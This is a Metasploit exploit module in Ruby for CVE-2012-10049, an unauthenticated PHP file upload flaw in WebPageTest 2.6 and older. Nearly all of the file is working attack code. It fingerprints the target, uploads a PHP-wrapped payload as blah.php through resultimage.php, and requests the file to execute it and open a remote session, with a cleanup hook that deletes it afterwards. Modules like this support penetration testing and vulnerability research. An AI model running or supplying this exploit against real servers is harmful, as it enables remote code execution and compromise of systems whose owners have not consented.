##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "WebPageTest Arbitrary PHP File Upload",
        'Description' => %q{
          This module exploits a vulnerability found in WebPageTest's Upload Feature. By
          default, the resultimage.php file does not verify the user-supplied item before
          saving it to disk, and then places this item in the web directory accessible by
          remote users.  This flaw can be abused to gain remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'dun', # Discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-10049'],
          ['OSVDB', '83822'],
          ['EDB', '19790']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['WebPageTest v2.6 or older', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-07-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    peer = "#{rhost}:#{rport}"
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    res1 = send_request_raw({ 'uri' => normalize_uri("#{base}/index.php") })
    res2 = send_request_raw({ 'uri' => normalize_uri("#{base}/work/resultimage.php") })

    if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
       res2 and res2.code == 200
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def on_new_session(cli)
    if cli.type != "meterpreter"
      print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
      return
    end
    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

    begin
      print_warning("Deleting: #{@target_path}")
      cli.fs.file.rm(@target_path)
      print_good("#{@target_path} removed")
    rescue
      print_error("Unable to delete: #{@target_path}")
    end
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    p = payload.encoded
    fname = "blah.php"
    data = Rex::MIME::Message.new
    data.add_part(
      "<?php #{p} ?>",                                   # Data is our payload
      'multipart/form-data',                             # Content Type
      nil,                                               # Transfer Encoding
      "form-data; name=\"file\"; filename=\"#{fname}\""  # Content Disposition
    )

    print_status("Uploading payload (#{p.length.to_s} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/work/resultimage.php"),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    })

    if not res
      print_error("No response from host")
      return
    end

    @target_path = normalize_uri("#{base}/results/#{fname}")
    print_status("Requesting #{@target_path}")
    res = send_request_cgi({ 'uri' => @target_path })

    handler

    if res and res.code == 404
      print_error("Payload failed to upload")
    end
  end
end